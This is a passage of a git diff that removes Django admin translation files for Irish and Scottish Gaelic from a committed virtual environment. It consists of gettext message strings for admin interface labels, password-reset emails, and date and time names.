"Sea, táim cinnte" - -msgid "No, take me back" -msgstr "Ní hea, tóg ar ais mé" - -msgid "Delete multiple objects" -msgstr "Scrios na réadanna" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Scriosadh an roghnaithe %(objects_name)s a bheadh mar thoradh ar na nithe " -"gaolmhara a scriosadh, ach níl cead do chuntas a scriosadh na cineálacha seo " -"a leanas na cuspóirí:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Teastaíonn scriosadh na %(objects_name)s roghnaithe scriosadh na hoibiacht " -"gaolta cosainte a leanúint:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"An bhfuil tú cinnte gur mian leat a scriosadh %(objects_name)s roghnaithe? " -"Beidh gach ceann de na nithe seo a leanas agus a n-ítimí gaolta scroiste:" - -msgid "Delete?" -msgstr "Cealaigh?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Trí %(filter_title)s " - -msgid "Summary" -msgstr "Achoimre" - -msgid "Recent actions" -msgstr "Gníomhartha le déanaí" - -msgid "My actions" -msgstr "Mo ghníomhartha" - -msgid "None available" -msgstr "Dada ar fáil" - -msgid "Added:" -msgstr "Curtha leis:" - -msgid "Changed:" -msgstr "Athraithe:" - -msgid "Deleted:" -msgstr "Scriosta:" - -msgid "Unknown content" -msgstr "Inneachair anaithnid" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Tá rud éigin cearr le suiteáil do bhunachar sonraí. Cinntigh go bhfuil na " -"táblaí bunachar sonraí cuí cruthaithe, agus cinntigh go bhfuil an bunachar " -"sonraí inléite ag an úsáideoir cuí." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Tá tú fíordheimhnithe mar %(username)s, ach níl cead agat an leathanach seo " -"a rochtain. Ar mhaith leat logáil isteach i gcuntas eile?" - -msgid "Forgotten your password or username?" -msgstr "Dearmad déanta ar do focal faire nó ainm úsaideora" - -msgid "Toggle navigation" -msgstr "Scoránaigh an nascleanúint" - -msgid "Sidebar" -msgstr "Barra Taoibh" - -msgid "Start typing to filter…" -msgstr "Tosaigh ag clóscríobh chun an scagaire…" - -msgid "Filter navigation items" -msgstr "Scag míreanna nascleanúna" - -msgid "Date/time" -msgstr "Dáta/am" - -msgid "User" -msgstr "Úsaideoir" - -msgid "Action" -msgstr "Aicsean" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "iontráil" -msgstr[1] "iontrálacha" -msgstr[2] "iontrálacha" -msgstr[3] "iontrálacha" -msgstr[4] "iontrálacha" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Níl stair athruithe ag an réad seo. Is dócha nár cuireadh leis tríd an " -"suíomh riaracháin seo." - -msgid "Show all" -msgstr "Taispéan gach rud" - -msgid "Save" -msgstr "Sábháil" - -msgid "Popup closing…" -msgstr "Preabfhuinneog ag dúnadh…" - -msgid "Search" -msgstr "Cuardach" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s toradh" -msgstr[1] "%(counter)s torthaí" -msgstr[2] "%(counter)s torthaí" -msgstr[3] "%(counter)s torthaí" -msgstr[4] "%(counter)s torthaí" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s iomlán" - -msgid "Save as new" -msgstr "Sabháil mar nua" - -msgid "Save and add another" -msgstr "Sabháil agus cuir le ceann eile" - -msgid "Save and continue editing" -msgstr "Sábhail agus lean ag cuir in eagar" - -msgid "Save and view" -msgstr "Sabháil agus amharc ar" - -msgid "Close" -msgstr "Druid" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Athraigh roghnaithe %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Cuir le %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Scrios roghnaithe %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Féach ar %(model)s roghnaithe" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"Go raibh maith agat as roinnt ama ardchaighdeáin a chaitheamh leis an suíomh " -"Gréasáin inniu." - -msgid "Log in again" -msgstr "Logáil isteacj arís" - -msgid "Password change" -msgstr "Athrú focal faire" - -msgid "Your password was changed." -msgstr "Bhí do focal faire aithraithe." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Cuir isteach do sheanphasfhocal, ar mhaithe le slándáil, agus ansin cuir " -"isteach do phasfhocal nua faoi dhó ionas gur féidir linn a fhíorú gur " -"chlóscríobh tú i gceart é." - -msgid "Change my password" -msgstr "Athraigh mo focal faire" - -msgid "Password reset" -msgstr "Athsocraigh focal faire" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Tá do focal faire réidh. Is féidir leat logáil isteach anois." - -msgid "Password reset confirmation" -msgstr "Deimhniú athshocraigh focal faire" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Le do thoil, iontráil do focal faire dhá uaire cé go mbeimid in ann a " -"seiceal go bhfuil sé scríobhte isteach i gceart." - -msgid "New password:" -msgstr "Focal faire nua:" - -msgid "Confirm password:" -msgstr "Deimhnigh focal faire:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Bhí nasc athshocraigh an focal faire mícheart, b'fheidir mar go raibh sé " -"úsaidte cheana. Le do thoil, iarr ar athsocraigh focal faire nua." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Chuireamar ríomhphost chugat treoracha maidir le do phasfhocal a shocrú, má " -"tá cuntas ann leis an ríomhphost a chuir tú isteach. Ba cheart duit iad a " -"fháil go luath." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Mura bhfaigheann tú ríomhphost, cinntigh le do thoil gur chuir tú isteach an " -"seoladh ar chláraigh tú leis, agus seiceáil d’fhillteán turscair." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Tá an ríomhphost seo á fháil agat toisc gur iarr tú athshocrú pasfhocail do " -"do chuntas úsáideora ag %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "" -"Le do thoil té go dtí an leathanach a leanúint agus roghmaigh focal faire " -"nua:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "D’ainm úsáideora, ar eagla go bhfuil dearmad déanta agat ar:" - -msgid "Thanks for using our site!" -msgstr "Go raibh maith agat le hadhaigh do cuairt!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Foireann an %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Dearmad déanta agat ar do phasfhocal? Cuir isteach do sheoladh ríomhphoist " -"thíos, agus seolfaimid treoracha ríomhphoist chun ceann nua a shocrú." - -msgid "Email address:" -msgstr "Seoladh ríomhphoist:" - -msgid "Reset my password" -msgstr "Athsocraigh mo focal faire" - -msgid "Select all objects on this page for an action" -msgstr "Roghnaigh gach oibiacht ar an leathanach seo le haghaidh gnímh" - -msgid "All dates" -msgstr "Gach dáta" - -#, python-format -msgid "Select %s" -msgstr "Roghnaigh %s" - -#, python-format -msgid "Select %s to change" -msgstr "Roghnaigh %s a athrú" - -#, python-format -msgid "Select %s to view" -msgstr "Roghnaigh %s le féachaint" - -msgid "Date:" -msgstr "Dáta:" - -msgid "Time:" -msgstr "Am:" - -msgid "Lookup" -msgstr "Cuardach" - -msgid "Currently:" -msgstr "Faoi láthair:" - -msgid "Change:" -msgstr "Athraigh:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/djangojs.mo deleted file mode 100644 index e46bd504..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/djangojs.po deleted file mode 100644 index 6f6e50dc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,341 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aindriú Mac Giolla Eoin, 2024 -# Jannis Leidel , 2011 -# Luke Blaney , 2019 -# Michael Thornhill , 2011-2012,2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 07:59+0000\n" -"Last-Translator: Aindriú Mac Giolla Eoin, 2024\n" -"Language-Team: Irish (http://app.transifex.com/django/django/language/ga/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ga\n" -"Plural-Forms: nplurals=5; plural=(n==1 ? 0 : n==2 ? 1 : n<7 ? 2 : n<11 ? 3 : " -"4);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s ar fáil" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Is é seo an liosta %s ar fáil. Is féidir leat a roghnú roinnt ag roghnú acu " -"sa bhosca thíos agus ansin cliceáil ar an saighead \"Roghnaigh\" idir an dá " -"boscaí." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Scríobh isteach sa bhosca seo a scagadh síos ar an liosta de %s ar fáil." - -msgid "Filter" -msgstr "Scagaire" - -msgid "Choose all" -msgstr "Roghnaigh iomlán" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Cliceáil anseo chun %s go léir a roghnú." - -msgid "Choose" -msgstr "Roghnaigh" - -msgid "Remove" -msgstr "Bain amach" - -#, javascript-format -msgid "Chosen %s" -msgstr "Roghnófar %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Is é seo an liosta de %s roghnaithe. Is féidir leat iad a bhaint amach má " -"roghnaionn tú cuid acu sa bhosca thíos agus ansin cliceáil ar an saighead " -"\"Bain\" idir an dá boscaí." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "" -"Clóscríobh isteach sa bhosca seo chun liosta na %s roghnaithe a scagadh." - -msgid "Remove all" -msgstr "Scrois gach ceann" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Cliceáil anseo chun %s go léir roghnaithe a scroiseadh." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "Níl an rogha roghnaithe %s le feiceáil" -msgstr[1] "Níl %s roghanna roghnaithe le feiceáil" -msgstr[2] "Níl %s roghanna roghnaithe le feiceáil" -msgstr[3] "Níl %s roghanna roghnaithe le feiceáil" -msgstr[4] "Níl %s roghanna roghnaithe le feiceáil" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s roghnaithe" -msgstr[1] "%(sel)s de %(cnt)s roghnaithe" -msgstr[2] "%(sel)s de %(cnt)s roghnaithe" -msgstr[3] "%(sel)s de %(cnt)s roghnaithe" -msgstr[4] "%(sel)s de %(cnt)s roghnaithe" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tá aithrithe nach bhfuil sabhailte ar chuid do na réimse. Má ritheann tú " -"gníomh, caillfidh tú do chuid aithrithe." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Tá gníomh roghnaithe agat, ach níor shábháil tú d'athruithe ar réimsí aonair " -"fós. Cliceáil OK le do thoil a shábháil. Beidh ort an t-aicsean a rith arís." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Tá gníomh roghnaithe agat, agus níl aon athruithe déanta agat ar réimsí " -"aonair. Is dócha go bhfuil an cnaipe Téigh á lorg agat seachas an cnaipe " -"Sábháil." - -msgid "Now" -msgstr "Anois" - -msgid "Midnight" -msgstr "Meán oíche" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Nóin" - -msgid "6 p.m." -msgstr "6in" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Tabhair faoi deara: Tá tú %s uair a chloig roimh am an friothálaí." -msgstr[1] "Tabhair faoi deara: Tá tú %s uair a chloig roimh am an friothálaí." -msgstr[2] "Tabhair faoi deara: Tá tú %s uair a chloig roimh am an friothálaí." -msgstr[3] "Tabhair faoi deara: Tá tú %s uair a chloig roimh am an friothálaí." -msgstr[4] "Tabhair faoi deara: Tá tú %s uair a chloig roimh am an friothálaí." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -"Tabhair faoi deara: Tá tú %s uair a chloig taobh thiar am an friothálaí." -msgstr[1] "" -"Tabhair faoi deara: Tá tú %s uair a chloig taobh thiar am an friothálaí." -msgstr[2] "" -"Tabhair faoi deara: Tá tú %s uair a chloig taobh thiar am an friothálaí." -msgstr[3] "" -"Tabhair faoi deara: Tá tú %s uair a chloig taobh thiar am an friothálaí." -msgstr[4] "" -"Tabhair faoi deara: Tá tú %s uair a chloig taobh thiar am an friothálaí." - -msgid "Choose a Time" -msgstr "Roghnaigh Am" - -msgid "Choose a time" -msgstr "Roghnaigh am" - -msgid "Cancel" -msgstr "Cealaigh" - -msgid "Today" -msgstr "Inniu" - -msgid "Choose a Date" -msgstr "Roghnaigh Dáta" - -msgid "Yesterday" -msgstr "Inné" - -msgid "Tomorrow" -msgstr "Amárach" - -msgid "January" -msgstr "Eanáir" - -msgid "February" -msgstr "Feabhra" - -msgid "March" -msgstr "Márta" - -msgid "April" -msgstr "Aibreán" - -msgid "May" -msgstr "Bealtaine" - -msgid "June" -msgstr "Meitheamh" - -msgid "July" -msgstr "Iúil" - -msgid "August" -msgstr "Lúnasa" - -msgid "September" -msgstr "Meán Fómhair" - -msgid "October" -msgstr "Deireadh Fómhair" - -msgid "November" -msgstr "Samhain" - -msgid "December" -msgstr "Nollaig" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Ean" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feabh" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Már" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Aib" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Beal" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Meith" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Lúil" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Lún" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Meán Fóm" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Deireadh Fóm" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Sam" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Noll" - -msgid "Sunday" -msgstr "Domhnach" - -msgid "Monday" -msgstr "Dé Luain" - -msgid "Tuesday" -msgstr "Dé Máirt" - -msgid "Wednesday" -msgstr "Dé Céadaoin" - -msgid "Thursday" -msgstr "Déardaoin" - -msgid "Friday" -msgstr "Dé hAoine" - -msgid "Saturday" -msgstr "Dé Sathairn" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Dom" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Lua" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Mái" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Céa" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Déa" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Aoi" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sat" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "C" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "D" - -msgctxt "one letter Friday" -msgid "F" -msgstr "A" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/django.mo deleted file mode 100644 index 3807caa4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/django.po deleted file mode 100644 index 030f4b64..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/django.po +++ /dev/null @@ -1,754 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# GunChleoc, 2015-2017,2021 -# GunChleoc, 2015 -# GunChleoc, 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-10-27 12:57+0000\n" -"Last-Translator: GunChleoc\n" -"Language-Team: Gaelic, Scottish (http://www.transifex.com/django/django/" -"language/gd/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: gd\n" -"Plural-Forms: nplurals=4; plural=(n==1 || n==11) ? 0 : (n==2 || n==12) ? 1 : " -"(n > 2 && n < 20) ? 2 : 3;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Sguab às na %(verbose_name_plural)s a chaidh a thaghadh" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Chaidh %(count)d %(items)s a sguabadh às." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Chan urrainn dhuinn %(name)s a sguabadh às" - -msgid "Are you sure?" -msgstr "A bheil thu cinnteach?" - -msgid "Administration" -msgstr "Rianachd" - -msgid "All" -msgstr "Na h-uile" - -msgid "Yes" -msgstr "Tha" - -msgid "No" -msgstr "Chan eil" - -msgid "Unknown" -msgstr "Chan eil fhios" - -msgid "Any date" -msgstr "Ceann-là sam bith" - -msgid "Today" -msgstr "An-diugh" - -msgid "Past 7 days" -msgstr "Na 7 làithean seo chaidh" - -msgid "This month" -msgstr "Am mìos seo" - -msgid "This year" -msgstr "Am bliadhna" - -msgid "No date" -msgstr "Gun cheann-là" - -msgid "Has date" -msgstr "Tha ceann-là aige" - -msgid "Empty" -msgstr "Falamh" - -msgid "Not empty" -msgstr "Neo-fhalamh" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Cuir a-steach %(username)s agus facal-faire ceart airson cunntas neach-" -"obrach. Thoir an aire gum bi aire do litrichean mòra ’s beaga air an dà " -"raon, ma dh’fhaoidte." - -msgid "Action:" -msgstr "Gnìomh:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Cuir %(verbose_name)s eile ris" - -msgid "Remove" -msgstr "Thoir air falbh" - -msgid "Addition" -msgstr "Cur ris" - -msgid "Change" -msgstr "Atharraich" - -msgid "Deletion" -msgstr "Sguabadh às" - -msgid "action time" -msgstr "àm a’ ghnìomha" - -msgid "user" -msgstr "cleachdaiche" - -msgid "content type" -msgstr "seòrsa susbainte" - -msgid "object id" -msgstr "id an oibceict" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "riochdachadh oibseict" - -msgid "action flag" -msgstr "bratach a’ ghnìomha" - -msgid "change message" -msgstr "teachdaireachd atharrachaidh" - -msgid "log entry" -msgstr "innteart loga" - -msgid "log entries" -msgstr "innteartan loga" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Chaidh “%(object)s” a chur ris." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Chaidh “%(object)s” atharrachadh – %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Chaidh “%(object)s” a sguabadh às." - -msgid "LogEntry Object" -msgstr "Oibseact innteart an loga" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Chaidh {name} “{object}” a chur ris." - -msgid "Added." -msgstr "Chaidh a chur ris." - -msgid "and" -msgstr "agus" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Chaidh {fields} atharrachadh airson {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Chaidh {fields} atharrachadh." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Chaidh {name} “{object}” a sguabadh às." - -msgid "No fields changed." -msgstr "Cha deach raon atharrachadh." - -msgid "None" -msgstr "Chan eil gin" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Cum sìos “Control” no “Command” air Mac gus iomadh nì a thaghadh." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Chaidh {name} “{obj}” a chur ris." - -msgid "You may edit it again below." -msgstr "’S urrainn dhut a dheasachadh a-rithist gu h-ìosal." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Chaidh {name} “%{obj}” a chur ris. ’S urrainn dhut {name} eile a chur ris gu " -"h-ìosal." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Chaidh {name} “{obj}” atharrachadh. ’S urrainn dhut a dheasachadh a-rithist " -"gu h-ìosal." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"Chaidh {name} “{obj}” a chur ris. ’S urrainn dhut a dheasachadh a-rithist gu " -"h-ìosal." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Chaidh {name} “{obj}” atharrachadh. ’S urrainn dhut {name} eile a chur ris " -"gu h-ìosal." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Chaidh {name} “{obj}” atharrachadh." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Feumaidh tu nithean a thaghadh mus dèan thu gnìomh orra. Cha deach nì " -"atharrachadh." - -msgid "No action selected." -msgstr "Cha deach gnìomh a thaghadh." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Chaidh %(name)s “%(obj)s” a sguabadh às." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"Chan eil %(name)s leis an ID \"%(key)s\" ann. 'S dòcha gun deach a sguabadh " -"às?" - -#, python-format -msgid "Add %s" -msgstr "Cuir %s ris" - -#, python-format -msgid "Change %s" -msgstr "Atharraich %s" - -#, python-format -msgid "View %s" -msgstr "Seall %s" - -msgid "Database error" -msgstr "Mearachd an stòir-dhàta" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "Chaidh %(count)s %(name)s atharrachadh." -msgstr[1] "Chaidh %(count)s %(name)s atharrachadh." -msgstr[2] "Chaidh %(count)s %(name)s atharrachadh." -msgstr[3] "Chaidh %(count)s %(name)s atharrachadh." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Chaidh %(total_count)s a thaghadh" -msgstr[1] "Chaidh a h-uile %(total_count)s a thaghadh" -msgstr[2] "Chaidh a h-uile %(total_count)s a thaghadh" -msgstr[3] "Chaidh a h-uile %(total_count)s a thaghadh" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Chaidh 0 à %(cnt)s a thaghadh" - -#, python-format -msgid "Change history: %s" -msgstr "Eachdraidh nan atharraichean: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Gus %(class_name)s %(instance)s a sguabadh às, bhiodh againn ris na h-" -"oibseactan dàimheach dìonta seo a sguabadh às cuideachd: %(related_objects)s" - -msgid "Django site admin" -msgstr "Rianachd làraich Django" - -msgid "Django administration" -msgstr "Rianachd Django" - -msgid "Site administration" -msgstr "Rianachd na làraich" - -msgid "Log in" -msgstr "Clàraich a-steach" - -#, python-format -msgid "%(app)s administration" -msgstr "Rianachd %(app)s" - -msgid "Page not found" -msgstr "Cha deach an duilleag a lorg" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Tha sinn duilich ach cha do lorg sinn an duilleag a dh’iarr thu." - -msgid "Home" -msgstr "Dhachaigh" - -msgid "Server error" -msgstr "Mearachd an fhrithealaiche" - -msgid "Server error (500)" -msgstr "Mearachd an fhrithealaiche (500)" - -msgid "Server Error (500)" -msgstr "Mearachd an fhrithealaiche (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Chaidh rudeigin cearr. Fhuair rianairean na làraich aithris air a’ phost-d " -"agus tha sinn an dùil gun dèid a chàradh a dh’aithghearr. Mòran taing airson " -"d’ fhoighidinn." - -msgid "Run the selected action" -msgstr "Ruith an gnìomh a thagh thu" - -msgid "Go" -msgstr "Siuthad" - -msgid "Click here to select the objects across all pages" -msgstr "" -"Briog an-seo gus na h-oibseactan a thaghadh air feadh nan duilleagan uile" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Tagh a h-uile %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Falamhaich an taghadh" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modailean ann an aplacaid %(name)s" - -msgid "Add" -msgstr "Cuir ris" - -msgid "View" -msgstr "Seall" - -msgid "You don’t have permission to view or edit anything." -msgstr "Chan eil cead agad gus dad a shealltainn no a dheasachadh." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Cuir ainm-cleachdaiche is facal-faire a-steach an toiseach. ’S urrainn dhut " -"barrachd roghainnean a’ chleachdaiche a dheasachadh an uairsin." - -msgid "Enter a username and password." -msgstr "Cuir ainm-cleachdaiche ’s facal-faire a-steach." - -msgid "Change password" -msgstr "Atharraich am facal-faire" - -msgid "Please correct the error below." -msgstr "Feuch an cuir thu a’ mhearachd gu h-ìosal gu ceart." - -msgid "Please correct the errors below." -msgstr "Feuch an cuir thu na mearachdan gu h-ìosal gu ceart." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Cuir a-steach facal-faire ùr airson a’ chleachdaiche %(username)s." - -msgid "Welcome," -msgstr "Fàilte," - -msgid "View site" -msgstr "Seall an làrach" - -msgid "Documentation" -msgstr "Docamaideadh" - -msgid "Log out" -msgstr "Clàraich a-mach" - -#, python-format -msgid "Add %(name)s" -msgstr "Cuir %(name)s ris" - -msgid "History" -msgstr "An eachdraidh" - -msgid "View on site" -msgstr "Seall e air an làrach" - -msgid "Filter" -msgstr "Criathraich" - -msgid "Clear all filters" -msgstr "Falamhaich gach crithrag" - -msgid "Remove from sorting" -msgstr "Thoir air falbh on t-seòrsachadh" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prìomhachas an t-seòrsachaidh: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Toglaich an seòrsachadh" - -msgid "Delete" -msgstr "Sguab às" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Nan sguabadh tu às %(object_name)s “%(escaped_object)s”, rachadh oibseactan " -"dàimheach a sguabadh às cuideachd ach chan eil cead aig a’ chunntas agad gus " -"na seòrsaichean de dh’oibseact seo a sguabadh às:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Nan sguabadh tu às %(object_name)s “%(escaped_object)s”, bhiodh againn ris " -"na h-oibseactan dàimheach dìonta seo a sguabadh às cuideachd:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"A bheil thu cinnteach gu bheil thu airson %(object_name)s " -"“%(escaped_object)s” a sguabadh às? Thèid a h-uile nì dàimheach a sguabadh " -"às cuideachd:" - -msgid "Objects" -msgstr "Oibseactan" - -msgid "Yes, I’m sure" -msgstr "Tha mi cinnteach" - -msgid "No, take me back" -msgstr "Chan eil, air ais 